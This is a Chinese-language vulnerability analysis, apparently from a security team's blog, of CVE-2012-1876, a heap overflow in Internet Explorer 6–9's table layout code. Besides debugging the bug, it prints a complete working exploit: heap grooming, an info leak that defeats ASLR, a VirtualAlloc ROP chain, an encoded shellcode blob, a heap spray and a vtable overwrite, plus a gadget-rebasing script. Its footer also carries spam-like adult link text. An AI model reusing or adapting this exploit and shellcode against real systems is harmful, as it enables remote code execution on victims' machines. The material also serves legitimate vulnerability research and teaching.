<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          Internet Explorer漏洞分析系列(一)——CVE-2012-1876

          共 6198字,需瀏覽 13分鐘

           ·

          2021-02-10 01:30

          Internet Explorer漏洞分析系列(一)——CVE-2012-1876

          1.本文一共3960個(gè)字 30張圖 預(yù)計(jì)閱讀時(shí)間12分鐘2.本文作者erfze 屬于Gcow安全團(tuán)隊(duì)復(fù)眼小組 未經(jīng)過許可禁止轉(zhuǎn)載3.本篇文章從CVE-2012-1876漏洞的分析入手 詳細(xì)的闡述漏洞的成因以及如何去利用該漏洞4.本篇文章十分適合漏洞安全研究人員進(jìn)行交流學(xué)習(xí)5.若文章中存在說得不清楚或者錯(cuò)誤的地方 歡迎師傅到公眾號(hào)后臺(tái)留言中指出 感激不盡

          0x01 漏洞信息

          0x01.1 漏洞簡(jiǎn)述

          ?編號(hào):CVE-2012-1876?類型:堆溢出(Heap Overflow)?漏洞影響:遠(yuǎn)程代碼執(zhí)行(RCE)?CVSS 2.0:9.3

          mshtml.dll中CTableLayout::CalculateMinMax函數(shù)在循環(huán)向緩沖區(qū)(堆分配內(nèi)存)寫入數(shù)據(jù)時(shí),未校驗(yàn)控制循環(huán)次數(shù)的標(biāo)簽span屬性值,故可通過精心構(gòu)造span屬性值造成堆溢出,進(jìn)而實(shí)現(xiàn)RCE。

          0x01.2 漏洞影響

          Microsoft Internet Explorer 6—9,10 Consumer Preview

          0x01.3 修復(fù)方案

          ?[MS12-037]https://docs.microsoft.com/en-us/security-updates/securitybulletins/2012/ms12-037

          0x02 漏洞分析

          0x02.1 分析環(huán)境

          ?OS版本:Windows XP Service Pack 3?Internet Explorer版本:8.0.6001.18702?mshtml.dll版本:8.0.6001.18702

          0x02.2 詳細(xì)分析

          使用gflags.exeiexplore.exe開啟頁(yè)堆:

          圖1

          WinDbg打開iexplore.exe后,通過.childdbg 1命令啟用子進(jìn)程調(diào)試。運(yùn)行并打開poc.html

             style="table-layout:fixed" >         id="132" width="41" span="1" >?                             

          允許活動(dòng)內(nèi)容運(yùn)行:

          圖2

          崩潰點(diǎn)如下:

          圖3

          WinDbg重新打開iexplore.exe,運(yùn)行。當(dāng)子進(jìn)程創(chuàng)建完成時(shí),sxe ld mshtml.dll設(shè)置mshtml.dll模塊加載異常:

          圖4

          模塊已加載,可拍攝快照,方便后續(xù)分析:

          圖5

          IDA定位到函數(shù)CTableColCalc::AdjustForCol引發(fā)crash處:

          圖6

          向上回溯查看esi于何處賦值(調(diào)用該函數(shù)僅CTableLayout::CalculateMinMax+F55F一處,故可直接在IDA中定位):

          圖7

          由上圖可以看出其值為[ebx+9Ch],該地址處值由何而來需結(jié)合WinDbg動(dòng)態(tài)調(diào)試以確定?;謴?fù)快照至已加載mshtml.dll,bp 6368CD39設(shè)斷于call CTableColCalc::AdjustForCol處,成功斷下后,查看堆塊信息:

          圖8

          再次恢復(fù)快照,bp 6367d7daCTableLayout::CalculateMinMax起始位置設(shè)斷,斷下后bp 635D28F6call CImplAry::EnsureSizeWorker處設(shè)斷,跟進(jìn)分析:

          圖9

          可以看出其分配大小確為0x70,之后跟進(jìn)mshtml!_HeapRealloc查看其分配地址:

          圖10

          向上回溯,edi指向ebx+90h

          圖11

          如此一來,HeapAlloc函數(shù)返回值——即分配堆塊地址寫入[ebx+9Ch]。至此,crash處edi由何而來已分析完成。而寫入數(shù)據(jù)為width*100(具體計(jì)算過程見CWidthUnitValue::GetPixelWidth函數(shù)):

          圖12

          crash處ecx值為(width*100)<<4+9,最終內(nèi)容要減1:

          圖13

          上述內(nèi)容僅是追溯寫入位置與寫入值如何計(jì)算及傳遞,下面將分析其執(zhí)行流。

          CTableLayout::CalculateMinMax第一個(gè)參數(shù)是用于存儲(chǔ)

          標(biāo)簽的CTableLayout對(duì)象:

          圖14

          [ebx+54h]存儲(chǔ)所有

          標(biāo)簽的屬性值之和(可記為span_sum):

          圖15

          執(zhí)行到0x6367D8EF處,從ebx+94h位置取出值,右移2位,與span_sum進(jìn)行比較:

          圖16

          如上圖所示,再經(jīng)過兩次比較,都滿足條件才會(huì)call CImplAry::EnsureSizeWorker。若span_sum小于4,則直接分配0x70大小堆塊;不小于4,則分配0x1C*span_sum大小堆塊:

          圖17

          分配結(jié)束后,會(huì)向ebx+98h位置寫入span_sum

          圖18

          ebx+94h位置寫入span_sum<<2

          圖19

          如此一來,第二次執(zhí)行CTableLayout::CalculateMinMax便不會(huì)調(diào)用CImplAry::EnsureSizeWorker重新分配內(nèi)存,而是直接使用上次分配堆塊進(jìn)行寫入——修改后的span屬性值大于修改前span屬性值,以此span值作為循環(huán)計(jì)數(shù),之前分配堆塊大小明顯無(wú)法容納,此時(shí)便會(huì)造成堆溢出。

          下面是打開POC并允許活動(dòng)內(nèi)容運(yùn)行后由0x6367D7DA0x6368CD39兩次執(zhí)行流(可使用wt -l 1 -ns -oR -m mshtml =6367d7da 6368CD39命令)對(duì)比:

          圖20

          第二次執(zhí)行不會(huì)調(diào)用CImplAry::EnsureSizeWorker

          圖21

          span屬性值最大為0x3E8(即1000):

          圖22

          0x02.3 漏洞利用

          分析所用exp如下:

                       id="test">                 style="table-layout:fixed" > id="0" width="41" span="9" >? 
          style="table-layout:fixed" > id="1" width="41" span="9" >? ... style="table-layout:fixed" > id="132" width="41" span="9" >?

          第一部分用以申請(qǐng)大量?jī)?nèi)存并填充字符內(nèi)容進(jìn)行堆布局:

          其于內(nèi)存中分布情況(BSTR 'E'?&?BSTR 'A'?&?BSTR 'B'?&?CButtonLayout):

          圖23

          調(diào)用CollectGarbage()回收完成后,其Len部分變?yōu)?code style="white-space:pre-wrap;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">0x0000ffff:

          圖24

          第二部分創(chuàng)建大量col標(biāo)簽,以占位之前釋放堆塊:

                   style="table-layout:fixed" > id="0" width="41" span="9" >?          style="table-layout:fixed" > id="1" width="41" span="9" >?         ...         style="table-layout:fixed" > id="132" width="41" span="9" >? 

          之后通過

              var obj_col = document.getElementById("132");    obj_col.span = 19;

          完成第一次溢出(可通過條件斷點(diǎn)bp 638209A2 ".if(eax==0x13){};.else{gc;}"斷下后再進(jìn)一步分析):

          圖25

          而寫入位置在每次寫入過后會(huì)加0x1C

          圖26

          0x1C*0x12=0x1F8(0x6368CD4B處是jl命令),[EBX+9Ch]+0x1F8+0x18位置恰為BSTR 'B'長(zhǎng)度:

          圖27

          之后遍歷arr數(shù)組,長(zhǎng)度大于(0x100-6)/2元素即為發(fā)生溢出位置:

          for ( var i = 0; i < 500; i++ ) {  if ( arr[i].length > (0x100-6)/2 )   { // overflowed    leak_index = i;

          由于該元素長(zhǎng)度已被更改為0x10048,那么可以越界讀取其后CButtonLayout中內(nèi)容:

          var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);        //0xAE086377——?捷(Unicode)

          圖28

          轉(zhuǎn)換成十六進(jìn)制數(shù),減去CButtonLayout::vftable相較于基址偏移便得到基址:

          leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 );mshtmlbase = leak_addr - Number(0x001582b8);

          Exp中偏移與筆者環(huán)境中所計(jì)算偏移不符:

          圖29

          構(gòu)造ROP+Shellcode及進(jìn)行Heap Spray:

                      function heap_spray()            {                   CollectGarbage();                var heapobj = new Object();                // generated with mona.py (mshtml.dll v)                    function rop_chain(mshtmlbase)                    {                        var arr = [                        mshtmlbase + Number(0x00001031),                        mshtmlbase + Number(0x00002c78),    // pop ebp; retn                        mshtmlbase + Number(0x0001b4e3),    // xchg eax,esp; retn (pivot)                        mshtmlbase + Number(0x00352c8b),    // pop eax; retn                        mshtmlbase + Number(0x00001340),    // ptr to &VirtualAlloc() [IAT]                        mshtmlbase + Number(0x00124ade),    // mov eax,[eax]; retn                        mshtmlbase + Number(0x000af93e),    // xchg eax,esi; and al,0; xor eax,eax; retn                        mshtmlbase + Number(0x00455a9c),    // pop ebp; retn                        mshtmlbase + Number(0x00128b8d),    // & jmp esp                        mshtmlbase + Number(0x00061436),    // pop ebx; retn                        0x00000001,                       // 0x00000001-> ebx                        mshtmlbase + Number(0x0052d8a3),    // pop edx; retn                        0x00001000,                       // 0x00001000-> edx                        mshtmlbase + Number(0x00003670),    // pop ecx; retn                        0x00000040,                       // 0x00000040-> ecx                        mshtmlbase + Number(0x001d263d),    // pop edi; retn                        mshtmlbase + Number(0x000032ac),    // retn                        mshtmlbase + Number(0x00352c9f),    // pop eax; retn                        0x90909090,                       // nop                        mshtmlbase + Number(0x0052e805),    // pushad; retn                        0x90909090,                        0x90909090,                        0x90909090,                        0x90909090,                        0x90909090,                            ];                        return arr;                        }                function d2u(dword)                {                    var uni = String.fromCharCode(dword & 0xFFFF);                    uni += String.fromCharCode(dword>>16);                    return uni;                }                function tab2uni(heapobj, tab)                {                    var uni = ""                    for(var i=0;i<tab.length;i++){                        uni += heapobj.d2u(tab[i]);                    }                    return uni;                }                heapobj.tab2uni = tab2uni;                heapobj.d2u = d2u;                heapobj.rop_chain = rop_chain;                var code = unescape("%u40b0%u414b%u1d24%ub4a8%u7799%ube37%ua947%ud41a%u353f%ueb30%ud133%u2ae1%u31e0%ue2d3%u1514%ufd13%u3497%u7a7b%ufc39%u92ba%u9390%u0a4e%ubbf5%u8db2%ue385%uf823%ud53a%u0448%u750d%ud632%u707c%u4642%u7e78%ub12c%u2f98%u1c3c%u727e%u3b7b%u4fe0%ue38c%u4f76%u81b0%u2de2%u35ba%u86bb%u67f8%u8d0c%u9190%u7574%u7f71%u7d3c%u9f15%ub347%ud50b%u784e%u4970%u1b37%uc1ff%uc6fe%uc0c7%ub6d4%u9246%ub4b1%uf588%ua91d%u7c4b%u2548%u7a99%u9b3d%u01b7%u34eb%u1cb5%u38a8%ub8fc%ud609%ube4a%u9714%ue121%ub904%u42b2%u7796%u6924%u80f9%u0dfd%u412c%u2f05%u273f%ubf40%u9893%u7343%u6679%u77a8%ub63f%u7472%u707b%u843d%uebd2%uf630%ubfd5%u71b2%u757a%u1848%u0cf5%u96b7%uf889%u764a%u9b2d%u92b0%u66be%u7d97%ub425%u9114%u4904%uba34%u421c%ue308%uf902%u4140%u4773%u0d27%u93b5%u2299%u1dd4%u7c4f%u2867%u98fc%u2c24%ue212%ufd03%u78a9%u3505%u8390%u2fe0%u4337%u154b%u468d%u79b9%u297f%ubbd6%u197e%u4ee1%u9fb8%ub1b3%u4a3c%u7a7d%u7679%u4670%u2091%u74e1%ub043%u4e71%ub590%u75b7%u983c%u4bb3%ud687%uf86b%u9b40%u117f%ud1f7%u7bf9%u152f%u3427%u1d92%u3d97%u2d49%u720d%u014f%u7ce0%u3105%u10eb%u35f5%ub4b6%u1c2c%u93b2%u4704%ud52b%ubbb1%ue389%u4137%u7e78%u733f%u7742%u2925%ufcd0%u6624%u8dba%u67b9%u1a96%ua8fd%ua9be%ud40b%u4899%u9f14%u87bf%ue2f7%ub80c%u903d%u14b0%u25bb%u7d96%u1a7f%u79f5%uf809%u347c%u7b91%u4e47%ueb81%ue122%ud41b%u7074%ub21d%u2d72%u928d%ub3b1%ua905%u71b4%u4b0c%u9343%u0d76%u989f%u84b5%ub7d5%u4666%ube40%ub8bf%u201c%u48e2%u4a73%u6b2c%u2afc%u04e0%u4941%u3777%u10ba%u7ed6%u332f%ub9fd%u7a9b%u7875%u2415%u1299%uf9d2%u3f97%ub63c%u3567%u27a8%ue386%u7742%u4f73%ue380%ua93c%u757c%uf62b%ud0c0%u27e0%u214b%ue1d3%ub93f%u157d%u8c14%ue2c1%u9904%u7498%u7071%u6637%ueb28%u4e1c%u7fb6%u357b%u3297%u25d4%uf569%u9105%u4047%u0224%u78d6%u7941%uba3d%u49b1%u7276%u1d2f%u85bf%u67fc%u7e92%u4a2c%u7ab4%u1348%u93d5%u8d9b%u03bb%u74fd%u0879%u43e1%ue083%u1873%u46e3%u2372%ub2f8%u88b0%ub8f9%u969f%u75b5%u770c%u7b42%ub72d%u7aa8%ue219%ueb38%ub334%u90be%u4f7e%u0d7f%ub3b6%u3076%ubff5%u479f%u7167%ud40a%u3b7c%u66fc%u41b7%u9615%u3dfd%u3505%ub825%u1c7d%ub54a%u3940%u37d6%u3f92%u971d%u1478%u8d49%ua8b2%u3493%u2c3c%u902f%ud54f%u04a9%u1198%u91f8%ub99b%u9943%ubbb1%u0d70%u4824%u4b0c%ube4e%ub02d%uf93a%u27ba%ub446%udb42%ud9d1%u2474%u5af4%uc929%u49b1%u8cbe%uc04a%u31a0%u1972%uc283%u0304%u1572%ubf6e%u483c%u40e7%u89bd%uc997%ub858%uae85%ue929%ua419%u027c%ue8d2%u9194%u2496%u129a%u131c%ua395%u9b91%u6779%u67b0%ub480%u5912%uc94b%u9e53%u22b6%u7701%u91bc%ufcb5%u2980%ud2b4%u128e%u57ce%ue650%u5964%u5781%u11f3%ud339%u825b%u3038%ufeb8%u3d73%u740a%u9782%u7543%ud7b4%u480f%uda78%u8c4e%u05bf%ue625%ub8c3%u3d3d%u66b9%ua0c8%uec19%u016a%u219b%uc2ec%u8e97%u8c7b%u11bb%ua6a8%u9ac0%u694f%ud841%uad6b%uba09%uf412%u6df7%ue62b%ud150%u6c89%u0672%u2eab%ueb1b%ud081%u63db%ua392%u2ce9%u2c08%ua442%uab96%u9fa5%u236e%u2058%u6d8e%u749f%u05de%uf536%ud5b5%u20b7%u8619%u9b17%u76d9%u4bd8%u9cb1%ub4d7%u9ea1%udd3d%u644b%u22d6%u6723%ucb43%u6831%u579a%u8ebc%u77f6%u19e8%ue16f%ud2b1%uee0e%u9f6c%u6411%u5f82%u8ddf%u73ef%u7d88%u2eba%u811f%u4411%u17a0%ucf9d%u8ff7%u369f%u103f%u1d60%u994b%udef4%ue624%udf18%ub0b4%udf72%u64dc%u8c26%u6af9%ua0f3%uff51%u90fb%ua806%u1e93%u9e70%ue03c%u1e57%u3701%ua49e%u3d73%u64f2");                var rop_chain = heapobj.tab2uni(heapobj, heapobj.rop_chain(mshtmlbase)) ;                var shellcode = rop_chain + code                while (shellcode.length < 100000) shellcode = shellcode + shellcode;                var onemeg = shellcode.substr(0, 64*1024/2);                for (i=0; i<14; i++)                 {                    onemeg += shellcode.substr(0, 64*1024/2);                }                onemeg += shellcode.substr(0, (64*1024/2)-(38/2));                var spray = new Array();                for (i=0; i<400; i++)                 {                    spray[i] = onemeg.substr(0, onemeg.length);                }            }

          其ROP鏈于筆者環(huán)境中并不適用,可用mona.py重新生成。轉(zhuǎn)換為相對(duì)地址可使用如下腳本:

          import argparsedef GenRelAddr(Src,Des,ModuleBaseAddr):    SrcFile=open(Src,"r")       DestFile=open(Des,"w")    DestFile.write("Relative Address:\n")    for i in SrcFile.readlines():        if i.strip().find("0x")==-1:            pass         else:            num_hex=int(i[i.find("0x"):i.find("0x")+10],16)            rva=num_hex-ModuleBaseAddr            if rva>0 and num_hex!=2425393296:    #0x90909090                DestFile.write('    '+hex(rva)+'\n')            else:                DestFile.write('    '+hex(num_hex)+'\n')    SrcFile.close()    DestFile.close()if __name__ == '__main__':    parser=argparse.ArgumentParser()    parser.add_argument('-s',help='SrcFile')    parser.add_argument('-d',help='DestFile')    parser.add_argument('-b',type=int,help='ModuleBaseAddr')    args=parser.parse_args()    if args.s and args.d and args.b:        GenRelAddr(args.s,args.d,args.b)    else:        print("Please enter the correct parameters.")

          方法為-s 1.txt -d 2.txt -b 1666711552,其中1.txt內(nèi)容如下:

          rop_gadgets = [      #[---INFO:gadgets_to_set_esi:---]      0x6371b8f5,  # POP ECX # RETN [mshtml.dll]       0x63581314,  # ptr to &VirtualAlloc() [IAT mshtml.dll]      0x6392bf47,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [mshtml.dll]       0x63aa9a60,  # XCHG EAX,ESI # RETN [mshtml.dll]       #[---INFO:gadgets_to_set_ebp:---]      0x635ac41c,  # POP EBP # RETN [mshtml.dll]       0x635ead14,  # & jmp esp [mshtml.dll]      #[---INFO:gadgets_to_set_ebx:---]      0x636895b1,  # POP EBX # RETN [mshtml.dll]       0x00000001,  # 0x00000001-> ebx      #[---INFO:gadgets_to_set_edx:---]      0x637ccce4,  # POP EDX # RETN [mshtml.dll]       0x00001000,  # 0x00001000-> edx      #[---INFO:gadgets_to_set_ecx:---]      0x6358e41f,  # POP ECX # RETN [mshtml.dll]       0x00000040,  # 0x00000040-> ecx      #[---INFO:gadgets_to_set_edi:---]      0x6366cccd,  # POP EDI # RETN [mshtml.dll]       0x63900c06,  # RETN (ROP NOP) [mshtml.dll]      #[---INFO:gadgets_to_set_eax:---]      0x637f3ee3,  # POP EAX # RETN [mshtml.dll]       0x90909090,  # nop      #[---INFO:pushad:---]      0x636bfa7c,  # PUSHAD # RETN [mshtml.dll]     ]

          1666711552是筆者環(huán)境中mshtml.dll基址十進(jìn)制值。

          第二次溢出:

          function smash_vtable()            {                    var obj_col_0 = document.getElementById("132");                    obj_col_0.width = "1178993";                    // smash the vftable 0x07070024                    obj_col_0.span = "44";                      // the amount to overwrite            }

          寫入發(fā)生于第28次循環(huán),對(duì)應(yīng)指令為0x6368CD98mov [esi+8], ebx,寫入前:

          圖30

          寫入完成后調(diào)用該虛表指針時(shí)即可控制執(zhí)行流。

          最后,總結(jié)下利用思路:Heap Spray—>釋放內(nèi)存—>占位—>堆溢出(更改BSTR長(zhǎng)度位)—>"越界讀"虛表指針,計(jì)算mshtml.dll基址—>Heap Spray(布局ROP+Shellcode)—>堆溢出(更改虛表指針到ROP+Shellcode地址)

          0x03 參閱鏈接

          ?[HTMLElement.style]https://developer.mozilla.org/zh-CN/docs/Web/API/HTMLElement/style?[display]https://developer.mozilla.org/zh-CN/docs/Web/CSS/display?[Python實(shí)現(xiàn)生成相對(duì)地址的ROP]https://blog.csdn.net/qq_35519254/article/details/53234599


          瀏覽 67
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  欧美黄色录像 | 在线观看中文字幕一区 | 5566中文字幕 | 免费毛片在线 | 久操91 |